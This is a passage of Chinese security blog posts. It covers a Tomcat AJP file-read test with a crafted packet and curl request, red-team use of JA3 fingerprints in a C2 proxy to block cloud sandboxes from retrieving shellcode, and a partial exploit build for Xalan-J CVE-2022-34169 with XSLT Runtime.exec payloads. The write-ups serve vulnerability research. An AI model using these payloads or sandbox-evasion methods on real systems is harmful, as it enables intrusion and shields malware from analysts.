00000040: 6571 7565 7374 5f75 7269 0000 012f 000a  equest_uri.../..
00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e  ."javax.servlet.
00000060: 696e 636c 7564 652e 7365 7276 6c65 745f  include.servlet_
00000070: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f  path..S/////////
00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000f0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000100: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000110: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000120: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000130: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000140: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000150: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000160: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000170: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000180: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000190: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001c0: 2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61  //////////....ja
000001d0: 7661 782e 7365 7276 6c65 742e 696e 636c  vax.servlet.incl
000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010  ude.path_info...
000001f0: 2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c  /WEB-INF/web.xml
00000200: 00ff

$ curl -i 10.211.55.3/proxy_ajp/ -H 'Transfer-Encoding: chunked, chunked' --data-binary @data
HTTP/1.1 200 200
Date: Wed, 02 Mar 2022 17:38:51 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: JSESSIONID=8B127C58793D6507FD24027670A3543C; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1257
Vary: Accept-Encoding

<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
 ...

8. Conclusion

因为自 GhostCat(CVE-2020-1938)后,Tomcat 增加了安全措施,外部 AJP 请求无法设置一些敏感 attributes,所以实际上问题不大。

云沙箱流量识别技术剖析

By: 风起
13 July 2022 at 09:02

作者:风起

日期:2022年7月13日

前言

​大家好,我是风起,本次带来的是基于流量的沙箱识别技术。相信大家都知道,沙箱识别是老生常谈的话题了,目前大部分的识别方案都是基于样本侧去完成的,例如常规方式:硬件检查(CPU核心数、输入输出设备、内存)、鼠标移动检查、进程名、系统服务、开机时长等,都不能直观准确的识别出目标进行流量交互的服务器是否是沙箱环境。举个例子,之前看到有师傅使用鼠标移动检查的方式去识别目标是否是沙箱虚拟机环境,那么问题来了,这种方式在钓鱼的场景下我们知道目标是PC客户端有人使用这台电脑,但是对于目标是服务器场景的情况下这种方法就不适用了,运维人员并不会时刻都在每台服务器跟前操作,所以我们需要一种更加优雅的识别方式。

​当然沙箱是快照还原,时间一般都存在问题的并且会进行sleep加速,也就是说这时候在样本恻进行延迟执行操作会被沙箱反调,一但样本被反调了,那么其样本就是所处异常环境下,这时候进行延迟几秒后获取本地时间就能够识别出异常,这当然也是一种很好的反调试手段。但是,上述这些操作都是在样本侧完成的,抛开需要定制化脚本实现功能,出现问题后进行排查等等都会比较麻烦。

本文将深入浅出的讲解基于流量侧对沙箱请求流量进行识别的方法,这种方法也能更易部署且有效识别,从而针对性的反制沙箱分析流量。

TLS JA3指纹

正式讲解流量侧识别云沙箱技术之前,我们先简述一下TLS JA3(S)指纹的基本概念。

​JA3为客户端与服务器之间的加密通信提供了识别度更高的指纹,通过 TLS 指纹来识别恶意客户端和服务器之间的 TLS 协商,从而实现关联恶意客户端的效果。该指纹使用MD5加密易于在任何平台上生成,目前广泛应用于威胁情报,例如在某些沙箱的样本分析报告可以看到以此佐证不同样本之间的关联性。

如果可以掌握 C2 服务器与恶意客户端的JA3(S),即使加密流量且不知道 C2 服务器的 IP 地址或域名,我们仍然可以通过 TLS 指纹来识别恶意客户端和服务器之间的 TLS 协商。相信看到这里大家就能想到,这也正是对付域前置、反向代理、云函数等流量转发隐匿手段的一种措施,通过沙箱执行样本识别与C2之间通信的 TLS 协商并生成JA3(S)指纹,以此应用于威胁情报从而实现辅助溯源的技术手段。

1657001961778

JA3 通过对客户端发送的ClientHello 数据包中的以下字段收集字节的十进制值:

  • SSL 版本
  • 接受的密码
  • 扩展列表
  • 椭圆曲线
  • 椭圆曲线格式

然后它将这些值按顺序连接在一起,使用“,”分隔每个字段,使用“-”分隔每个字段中的每个值。

示例:

771,39578-4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,56026-29-23-24,0

MD5编码:9ef1ac1938995d826ebe3b9e13d9f83a

如上示例,最终得到并应用的JA3指纹即 9ef1ac1938995d826ebe3b9e13d9f83a

问题拓展:

之前文章提到的JARM与JA3(S)都是TLS指纹,那么他们的区别是什么呢?

  • JARM指纹是主动扫描并生成指纹的,类似FUZZ的效果
  • JA3(S)是基于客户端与服务端流量交互识别并生成的指纹

基于流量的云沙箱识别

​上面简述了JA3(S)指纹的概念,这里应用到识别沙箱流量也是类似的原理,我们需要一个基础设施可以监控识别 上线主机和C2服务器之间的TLS 协商,从而生成请求主机的JA3指纹,这里我们以RedGuard举例。

image-20220705144302701

通过上图不难看出,RedGuard充当着C2服务器与上线主机流量交互的代理主机,所有的流量都会经由它转发到C2服务器上,那么在这个过程中,我们基于流量侧生成并识别JA3指纹的想法就可以实现了,在不修改后端C2设施源码的基础上,赋予了生成识别JA3指纹的功能。

275170ac767c89ad4c8f30fa5b47c5b

在云沙箱的立场上,通过监控样本与C2服务器之间流量交互生成JA3(S)指纹识别恶意客户端从而进行关联,而我们逆向思考,同样作为C2前置的流量控制设施,我们也可以进行这样的操作获取客户端请求的JA3指纹,通过对不同沙箱环境的调试获取这些JA3指纹形成指纹库从而形成基础拦截策略。

在测试某厂商沙箱环境时发现,其请求交互的出口IP虽然数量不大,但是通过IP识别沙箱并不准确,并且这是很容易改变的特征,但是其在多种不同配置的相同系统环境下JA3指纹是唯一的,效果如上图。

设想在分阶段木马交互的过程中,加载器会首先拉取远程地址的shellcode,那么在流量识别到请求符合JA3指纹库的云沙箱特征时,就会进行拦截后续请求。那么无法获取shellcode不能完成整个加载过程,沙箱自然不能对其完整的分析。如果环境是无阶段的木马,那么沙箱分析同样无法最终上线到C2服务器上,相比大家都有睡一觉起来C2上挂了一大堆超时已久的沙箱记录吧,当然理想状态下我们可以对不同沙箱环境进行识别,这主要也是依赖于指纹库的可靠性。

识别网络空间测绘扫描

在测试的过程中,我发现在指纹库添加GO语言请求库的JA3指纹后监测RedGuard请求流量情况,可以看到,大部分的请求触发了JA3指纹库特征的基础拦截,这里我猜测其测绘产品在该扫描中底层语言是以GO语言实现的大部分扫描任务,通过一条链路,不同底层语言组成的扫描逻辑最终完成了整个扫描任务,这也就解释了部分测绘产品的扫描为什么触发了GO语言请求库的JA3指纹拦截特征。

1657007702279

当然,触发拦截规则的请求都会被重定向到指定URL站点。

后记

​ JA3(S)指纹当然是可以更改的,但是会很大程度提高成本,同样修改基础特征无法对其造成影响,如果准备用劫持的方式去伪造 JA3指纹,并不一定是可行的,OpenSSL 会校验 extension,如果和自己发出的不一致,则会报错:OpenSSL: error:141B30D9:SSL routines:tls_collect_extensions:unsolicited extension

伪造JA3指纹可以看以下两个项目:

通常自主定制化的恶意软件会自己去实现 TLS,这种情况下JA3指纹可以唯一的指向它。但是现在研发一般都会用第三方的库,不管是诸如 Python 的官方模块还是 win 下的组件,如果是这种情况,那么 JA3就会重复,误报率很高。当然应用到我们的流量控制设施其实不需要考虑这些固定组件的问题,因为并不会有正常的封装组件的请求,多数也是上面提到某些语言编写的扫描流量,反而以此对这些语言请求的JA3指纹封装进指纹库也能起到防止扫描的效果。

参考链接:

https://github.com/wikiZ/RedGuard

https://www.tr0y.wang/2020/06/28/ja3/

https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967/

Xalan-J XSLT整数截断漏洞利用构造(CVE-2022-34169)

By: thanat0s
8 September 2022 at 08:10

0x00 - 前言

这是第一次遇到与 Java Class 字节码相关的漏洞(CVE-2022-34169),由于漏洞作者提供的利用脚本未能执行成功,所以根据漏洞描述结合自己的理解尝试进行利用构造,在深入分析并成功构造出 Payload 的过程中,也是加深了对 Java 字节码的了解,虽然漏洞作者在利用脚本中提供了一些注释信息,但对于完整理解整个利用的构造过程是不够的,因此这里对 Payload 构造过程进行一个详细的记录。

0x01 - 漏洞概述

XSLT(Extensible Stylesheet Language Transformations) 是一种可以将 XML 文档转换为其他格式(如 HTML)的标记语言
Xalan-J 是 Apache 开源项目下的一个 XSLT 处理器的 Java 版本实现

首先看到漏洞作者提供的漏洞描述:

Xalan-J uses a JIT compiler called XSLTC for translating XSLT stylesheets into Java classes during runtime. XSLTC depends on the Apache Byte Code Engineering (BCEL) library to dynamically create Java class files
As part of the compilation process, constants in the XSLT input such as Strings or Numbers get translated into Java constants which are stored at the beginning of the output class file in a structure called the constant pool
Small integers that fit into a byte or short are stored inline in bytecode using the bipush or sipush instructions. Larger ones are added to the constant pool using the cp.addInteger method
// org.apache.bcel.generic.PUSH#PUSH(org.apache.bcel.generic.ConstantPoolGen, int)
public PUSH(final ConstantPoolGen cp, final int value) {
    if ((value >= -1) && (value <= 5)) {
        instruction = InstructionConst.getInstruction(Const.ICONST_0 + value);
    } else if (Instruction.isValidByte(value)) {
        instruction = new BIPUSH((byte) value);
    } else if (Instruction.isValidShort(value)) {
        instruction = new SIPUSH((short) value);
    } else {
        instruction = new LDC(cp.addInteger(value));
    }
}
As java class files only use 2 bytes to specify the size of the constant pool, its max size is limited to 2**16 - 1 entries
BCELs internal constant pool representation uses a standard Java Array for storing constants and does not enforce any limits on its length. When the generated class file is serialized at the end of the compilation process the array length is truncated to a short, but the complete array is written out:
// org.apache.bcel.classfile.ConstantPool#dump
public void dump( final DataOutputStream file ) throws IOException {
    file.writeShort(constant_pool.length); // 对 constant_pool.length 进行了 short 截断
    for (int i = 1; i < constant_pool.length; i++) { // 依旧写入了 constant_pool.length 个数的常量
        if (constant_pool[i] != null) {
            constant_pool[i].dump(file);
        }
    }
}

根据提供的描述信息可以知道,Xalan-Java 即时编译器(JIT) 会将传入的 XSLT 样式表使用 BCEL 动态生成 Java Class 字节码文件(Class 文件结构如下),XSLT 样式表中的 字符串(String) 以及 > 32767 的数值将存入到字节码的 常量池表(constant_pool) 中,漏洞产生的原因在于 Class 字节码规范中限制了常量池计数器大小(constant_pool_count) 为 u2 类型(2个无符号字节大小),所以 BCEL 在写入 > 0xffff 数量的常量时需要进行截断处理,但是通过上面 dump() 方法中的代码可以看到,BCEL 虽然对 constant_pool_count 数值进行了处理,但实际依旧写入了 > 0xffff 数量的常量,因此大于 constant_pool_count 部分的常量最终将覆盖 access_flags 及后续部分的内容

ClassFile {
    u4             magic;                                // 魔术,识别 Class 格式 
    u2             minor_version;                        // 副版本号(小版本)
    u2             major_version;                        // 主版本号(大版本)
    u2             constant_pool_count;                  // 常量池计数器:用于记录常量池大小
    cp_info        constant_pool[constant_pool_count-1]; // 常量池表:0 位保留,从 1 开始写,所以实际常量数比 constant_pool_count 小 1
    u2             access_flags;                         // 类访问标识
    u2             this_class;                           // 类索引
    u2             super_class;                          // 父类索引
    u2             interfaces_count;                     // 接口计数器
    u2             interfaces[interfaces_count];         // 接口索引集合
    u2             fields_count;                         // 字段表计数器
    field_info     fields[fields_count];                 // 字段表
    u2             methods_count;                        // 方法表计数器
    method_info    methods[methods_count];               // 方法表
    u2             attributes_count;                     // 属性计数器
    attribute_info attributes[attributes_count];         // 属性表
}

0x02 - 环境搭建

  • JDK测试版本: 1.8.0_301、11.0.9

根据作者的描述,使用的是 Xalan-J 2.7.2 版本,并通过如下命令生成 .class 文件

// https://xml.apache.org/xalan-j/commandline.html
java -jar /usr/share/java/xalan2.jar -XSLTC -IN test.xml -XSL count.xsl -SECURE  -XX -XT

-XSLTC (use XSLTC for transformation)
-IN inputXMLURL
-XSL XSLTransformationURL
-SECURE (set the secure processing feature to true)
-XX (turn on additional debugging message output)
-XT (use translet to transform if possible)

为了方便调试,替换为相应的 Java 代码,新建 Maven 项目,添加如下依赖及代码:

  • pom.xml
<!-- https://mvnrepository.com/artifact/xalan/xalan -->
<dependency>
  <groupId>xalan</groupId>
  <artifactId>xalan</artifactId>
  <version>2.7.2</version>
</dependency>
  • org/example/TestMain.java
package org.example;

import org.apache.xalan.xslt.Process;

public class TestMain {
    public static void main(String[] args) throws Exception {
        String xsltTemplate = "/tmp/xalan_test/select.xslt";
        Process.main(new String[]{"-XSLTC", "-IN", "/tmp/xalan_test/source.xml", "-XSL", xsltTemplate, "-SECURE", "-XX", "-XT"});
    }
}
  • /tmp/xalan_test/source.xml
<?xml version="1.0"?>
<doc>Hello</doc>
  • /tmp/xalan_test/select.xslt
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
</xsl:template>
</xsl:stylesheet>

运行 TestMain 后即可生成 select.class 文件,反编译后得到如下 Java 代码:

import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;

public class select extends AbstractTranslet {
    public DOM _dom;
    protected static String[] _sNamesArray = new String[0];
    protected static String[] _sUrisArray = new String[0];
    protected static int[] _sTypesArray = new int[0];
    protected static String[] _sNamespaceArray = new String[0];

    public void buildKeys(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) throws TransletException {
    }

    public void topLevel(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
        int var4 = var1.getIterator().next();
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
        this._dom = this.makeDOMAdapter(var1);
        int var4 = var1.getIterator().next();
        this.transferOutputSettings(var3);
        this.topLevel(this._dom, var2, var3);
        var3.startDocument();
        this.applyTemplates(this._dom, var2, var3);
        var3.endDocument();
    }

    public void template$dot$0(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) {
    }

    public final void applyTemplates(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
        int var4;
        while((var4 = var2.next()) >= 0) {
            switch(var1.getExpandedTypeID(var4)) {
            case 0:
            case 1:
            case 9:
                this.applyTemplates(var1, var1.getChildren(var4), var3);
                break;
            case 2:
            case 3:
                var1.characters(var4, var3);
            case 4:
            case 5:
            case 6:
            case 7:
            case 8:
            case 10:
            case 11:
            case 12:
            case 13:
            }
        }

    }

    public select() {
        super.namesArray = _sNamesArray;
        super.urisArray = _sUrisArray;
        super.typesArray = _sTypesArray;
        super.namespaceArray = _sNamespaceArray;
        super.transletVersion = 101;
    }
}

0x03 - XSLT 安全

XSLT 因为其功能的强大导致历史中出过一些漏洞,如下两种 Payload 在被 Java XSLT 处理器解析时就会存在代码执行的问题:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'touch /tmp/pwn')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
    </xsl:template>
</xsl:stylesheet>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
    <xsl:template match="/">
    <xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'touch /tmp/pwn')" xmlns:Runtime="java.lang.Runtime"/>
    </xsl:template>
</xsl:stylesheet>

所以首先尝试使用上述 Payload 进行测试,发现相关的操作已经被限制了,这其中可能会存在一些绕过方式,但并不是本次所需要关心的,这次主要在意的是作者如何通过常量池覆盖后续字节码结构,实现的 RCE 操作

0x04 - 控制常量池计数器

常量池:用于存放编译时期生成的各种 字面量符号引用,这部分内容将在类加载后进入方法区/元空间的 运行时常量池 中存放
常量池计数器:从 1 开始,也即 constant_pool_count=1 时表示常量池中有 0 个常量项,第 0 项常量用于表达 不引用任何一个常量池项目 的情况,常量池对于 Class 文件中的 字段方法 等解析至关重要

可以使用 Java 自带的工具 javap 查看字节码文件中的常量池内容:javap -v select.class

也可以使用 Classpy GUI 工具进行查看,该工具在点击左侧相应字段信息时会在右侧定位出相应的十六进制范围,在构造利用时提供了很大的帮助

但是这两个工具无法对首部结构正确的畸形字节码文件进行解析(只输出正确结构的部分),并且未找到合适的解析工具

常量池表中具体存储的数据结构如下,根据 tag 标识来决定后续字节码所表达的含义:

尝试在 select.xslt 文件中添加 <AAA/> 并生成 Class 文件:

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<AAA/>
</xsl:template>
</xsl:stylesheet>

通过反编译后的 Java 代码中可以看到新增了 AAA 字符串

public class select extends AbstractTranslet {
    ...
    public void template$dot$0(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) {
        var3.startElement("AAA");
        var3.endElement("AAA");
    }
    ...
}

对应到常量池中实际将增加 CONSTANT_String_infoCONSTANT_utf8_info 两项,其中 #092(CONSTANT_utf8_info) 中存储着字面量 AAA#093(CONSTANT_String_info)string_index 则指向 AAA 字面量所处的下标

为了节省空间,对于相同的常量在常量池中只会存储一份,所以如下内容所生成的 Class 文件中的常量池计数器值依旧为 139

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<AAA/>
<AAA/>
<AAA/>
<AAA/>
<AAA/>
</xsl:template>
</xsl:stylesheet>

需要注意的是 AAAAA 实际属于不同的常量,将得到的常量池计数器值为:139+2=141,因此:使用不同的字符串可以 字符串数量x2 的形式增加常量池计数器的值

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<AAA/>
<AA/>
</xsl:template>
</xsl:stylesheet>

然而在实际测试的过程中发现,通过如下方式增加常量,随着 n 不断的增加,所花费的时间也越来越大

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<t1/>
<t2/>
...
<tn/>
</xsl:template>
</xsl:stylesheet>

解决方法是使用 增加属性 替代 增加元素 的方式增加常量池(每增加一对属性,常量池+4)

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<t1 t2='t3' t4='t5' ... tn-1='tn'/>
</xsl:template>
</xsl:stylesheet>

原因在于每新增一个 元素(element) 都将有 translate() 方法调用的开销,而新增 属性 只是增加一个 Hashtable#put() 方法调用,因此将大大减少执行时间

  • org.apache.xalan.xsltc.compiler.SyntaxTreeNode#translateContents
  • org.apache.xalan.xsltc.compiler.LiteralElement#checkAttributesUnique

除了可以通过字符串的形式增加常量池,根据漏洞作者的提示可以通过 方法调用 的形式添加 数值类型 的常量(数值需要 > 32767 才会存储至常量池表中),如通过调用 java.lang.Math#ceil(double) 方法传入 double 数值类型,因为 double 属于基本数据类型,因此只会增加一个 CONSTANT_Integer_info 数据结构,所以 每增加一个 double 数值,常量池+1

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<xsl:value-of select='ceiling(133801)'/>
<xsl:value-of select='ceiling(133802)'/>
<xsl:value-of select='ceiling(133803)'/>
</xsl:template>
</xsl:stylesheet>

0x05 - Class 结构图

这里先展示一下整个 Class 文件最终构造的结构图,接下来将针对各个部分进行说明

0x06 - 利用构造说明

想详细了解 Java Class 字节码文件结构的可以参考链接:The Class File Format

通过字节码结构可以看到,constant_pool_count & 0xffff 截断后,大于 constant_pool_count 部分的常量池将覆盖后续内容,从而可以完全控制整个类的结构

ClassFile {
    u4             magic;                                // 魔术,识别 Class 格式 
    u2             minor_version;                        // 副版本号(小版本)
    u2             major_version;                        // 主版本号(大版本)
    u2             constant_pool_count;                  // 常量池计数器:用于记录常量池大小
    cp_info        constant_pool[constant_pool_count-1]; // 常量池表:0 位保留,从 1 开始写,所以实际常量数比 constant_pool_count 小 1
    u2             access_flags;                         // 类访问标识
    u2             this_class;                           // 类索引
    u2             super_class;                          // 父类索引
    u2             interfaces_count;                     // 接口计数器
    u2             interfaces[interfaces_count];         // 接口索引集合
    u2             fields_count;                         // 字段表计数器
    field_info     fields[fields_count];                 // 字段表
    u2             methods_count;                        // 方法表计数器
    method_info    methods[methods_count];               // 方法表
    u2             attributes_count;                     // 属性计数器
    attribute_info attributes[attributes_count];         // 属性表
}
cp_info {
    u1 tag;
    u1 info[];
}

access_flags & this_class

首先需要能够理解的是 access_flags 第一个字节对应常量池的 tag,而 tag 值将决定后续的数据结构(查阅前面常量池结构表)

access_flags 的值决定了类的访问标识,如是否为 public ,是否为 抽象类 等等,如下为各个标识对应的 mask 值,当 与操作值 != 0 时则会增加相应的修饰符

在决定 access_flag 第一个字节的值(后续使用x1,x2..代替)之前,需要知道编译后的字节码会被进行怎样的处理,可以看到最终将得到 TemplatesImpl 对象,其中 _bytecodes 即为 XSLT 样式表编译后的字节码内容,熟悉 Java 反序列化漏洞的应该对 TemplatesImpl 类不陌生,之后 newTransformer() 方法调用将会触发 defineClass()newInstance() 方法的调用

  • org.apache.xalan.xslt.Process#main

由于 defineClass() 过程无法触发类 static{} 方法块中的代码,所以需要借助 newInstance() 调用的过程来触发 static{}{}构造函数 方法块中的恶意代码,因此 由于需要实例化类对象,所以类不能为接口、抽象类,并且需要被 public 修饰,所以 access_flags 需满足如下条件:

  • access_flags.x1 & 任意修饰符 == 0
  • access_flags.x2 & ACC_PUBLIC(0x01) != 0

这里选择设置 access_flags.x1 = 0x08,不选择 access_flags.x1 = 0x01 的原因在于字面量 length 变化会影响到 bytes 的数量,所以一旦发生变动,后续内容就会需要跟着变动,不太好控制

access_flags.x2 的值这里将其设置为 0x07,而不使用 0x01 的原因在于,其值的设定会影响到常量池的大小,根据后续构造发现常量池大小需要满足 > 0x0600(1536) 大小,这部分后续也会再进行说明

通过写入 tag = 6double 数值常量(java.lang.Math#ceil(double)),可以实现连续控制 8 个字节内容,可借助如下脚本实现十六进制转换:

import struct
import decimal

ctx = decimal.Context()
ctx.prec = 20
def to_double(b):
    f = struct.unpack('>d', struct.pack('>Q', b))[0]
    d1 = ctx.create_decimal(repr(f))
    return format(d1, 'f')
    
to_double(0x0006000000000002)

所以 this_class.x2 = 0x06,根据前面可知,this_class 是一个指向常量池的 常量池索引,所以为了使得 截断后的常量池最小,所以这个值需要尽可能的小,由于 0x0006 已经占用了,所以最终确定值为 this_class = 0x0106(262)

在确认了 access_flags 的值后,接下来考虑的是如何进行设置,回看到如下这个图,String 类型的 string_index 指向前一项 Utf8 字面量的下标,因此 tag = 8 string_index = 0x0701 则表示前一项是下标为 0x0701 = #1793Utf8 字面量,当前下标为 #1794,所以得出结论是 access_flags 之前应有 1794(包含第 0 项) 个常量,则 constant_pool_count 截断后的值固定为 1794(0x0702)access_flags.x2 间接控制了常量池的大小

根据字节码规范要求,this_class 应指向一个 CONSTANT_Class_info 结构的常量,也即如下图中 Class 对应的下标 #0006

The value of the this_class item must be a valid index into the constant_pool table. The constant_pool entry at that index must be a CONSTANT_Class_info structure (§4.4.1) representing the class or interface defined by this class file.

但是这里并不能选择常量池已有的这些 Class常量,原因在于这些 Class常量 是 XSLT 解析的过程中会使用到的类,而字节码最终会被 defineClass() 加载为 Class,将会导致类冲突问题

解决方法是通过如下方法调用的方式加载一些 XSLT 解析过程不会引用的类,因为类是懒加载的,只有在被使用到的时候才会被加载进 JVM,所以 defineClass() 调用时并不会存在 com.sun.org.apache.xalan.internal.lib.ExsltStrings,从而解决了类冲突的问题,之后通过在其之前填充一些常量,使得 this_class = 0x0106(#262) 刚好指向 (Class): com/sun/org/apache/xalan/internal/lib/ExsltStrings 即可

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<!-- 填充: <t t1='t2'...> -->
<xsl:value-of select="es:tokenize(.)" xmlns:es="com.sun.org.apache.xalan.internal.lib.ExsltStrings"/>
</xsl:template>
</xsl:stylesheet>

super_class

super_class 同样也需要指向 CONSTANT_Class_info 类型索引,并且因为 TemplatesImpl 的原因依旧需要继承 org.apache.xalan.xsltc.runtime.AbstractTranslet 抽象类,所以直接指向 #0006 即可(位置固定不变)

For a class, the value of the super_class item either must be zero or must be a valid index into the constant_pool table. If the value of the super_class item is nonzero, the constant_pool entry at that index must be a CONSTANT_Class_info structure (§4.4.1) representing the direct superclass of the class defined by this class file.

因为主要目的是控制方法,并通过 newInstance() 触发恶意代码,所以对于 接口字段 都可以不需要,直接设置为 0 即可:

  • interfaces_count = 0x0000
  • fields_count = 0x0000

method_count

经测试发现 static{} 方法块(<clinit>)执行必须要有合法的构造函数 <init> 存在,所以直接通过 <init> 触发恶意代码即可,除此之外还需要借助一个方法的 attribute 部分进行一些脏字符的吞噬(后续解释),所以类中至少需要 2 个方法,经测试发现:在字节码层面,非抽象类可以不实现抽象父类的抽象方法,所以可以不实现抽象父类 AbstractTranslettransform 方法,设置 method_count = 0x0002 即可

methods[0]

首先看到 method_info 结构:

method_info {
    u2             access_flags;                 # 方法的访问标志
    u2             name_index;                   # 方法名索引
    u2             descriptor_index;             # 方法的描述符索引
    u2             attributes_count;             # 方法的属性计数器
    attribute_info attributes[attributes_count]; # 方法的属性集合
}

根据前面的构造可以看到 methods[0].access_flags.x1 = 0x06,根据访问标识表可知当前方法为 抽象(0x06 & 0x04 != 0) 方法,无法包含方法体,所以这也是至少需要存在两个方法的原因,但同时也发现一个问题:在字节码层面,抽象方法是可以存在于非抽象类中的

  • methods[0].access_flags.x2 = 0x01:因为该方法不会被使用,所以直接给个 ACC_PUBLIC 属性即可
  • methods[0].name_index(Utf8):选择指向了父类抽象方法名 transferOutputSettings,实际指向任何合法 Utf8 常量均可
  • methods[0].descriptor_index(Utf8):选择指向了 transferOutputSettings 方法描述符,实际指向任何合法 Utf8 方法描述符均可

methods[0].attributes_count 表示当前方法体中 attribute 的数量,每个 attribute 都有着如下通用格式,根据 attribute_name_index 来决定使用的是哪种属性格式(如下表)

attribute_info {
    u2 attribute_name_index;     # 属性名索引
    u4 attribute_length;         # 属性个数
    u1 info[attribute_length];   # 属性集合
}

这里主要关注 Code 属性,其中存储着方法块中的字节码指令

Code_attribute {
    u2 attribute_name_index;                     # 属性名索引
    u4 attribute_length;                         # 属性长度
    u2 max_stack;                                # 操作数栈深度的最大值
    u2 max_locals;                               # 局部变量表所需的存储空间
    u4 code_length;                              # 字节码指令的长度
    u1 code[code_length];                        # 存储字节码指令
    u2 exception_table_length;                   # 异常表长度
    {   u2 start_pc;
        u2 end_pc;
        u2 handler_pc;
        u2 catch_type;
    } exception_table[exception_table_length];   # 异常表
    u2 attributes_count;                         # 属性集合计数器
    attribute_info attributes[attributes_count]; # 属性集合
}

以如下代码为例查看相应的 Code 属性结构

package org.example;

public class TestMain {
    public TestMain(){
        try{
            System.out.println("test");
        }catch (Exception e){
        }
    }
}

可以看到构造函数 <init>attributes_count = 1 说明只包含一个属性,attribute_nam_index 指向常量池 #10(Utf8) Code,表示当前为 Code 属性,code_length 表示字节码指令长度为 17code 部分则存储了具体的字节码指令

这里需要注意的是:如果 attribute_name_index 没有指向合法的属性名,将使用通用格式来进行数据解析,因此可以利用这个特性来吞噬 下一个 double 常量的 tag 标识,因此这里设定

  • methods[0].attributes_count = 0x0001:只需一个属性即可完成吞噬目的
  • attribute_name_index(Utf8) = 0x0206:前面已经将 0x0106 设置为了 Class 类型,所以这里尽量指向更低位的常量池,所以选择使用 0x0206,同时需要注意的是 attribute_name_index 需指向合法的 Utf8 类型常量,所以还需要通过填充的方式确保指向的类型正确
  • attribute_length = 0x00000005:属性值设定为 5 并使用 0xAABBCCDD 填充满一个 double 常量,这样可以刚好可以吞噬掉下一个 double 常量的 tag 标识,使得下一个 method[1].access_flags 可以直接通过 double 来进行控制

methods[1]

接下来看到第二个方法 methods[1],首部这 8 个字节就可直接通过一个 double 数值类型进行控制,这里将构造所需的构造函数方法 <init>

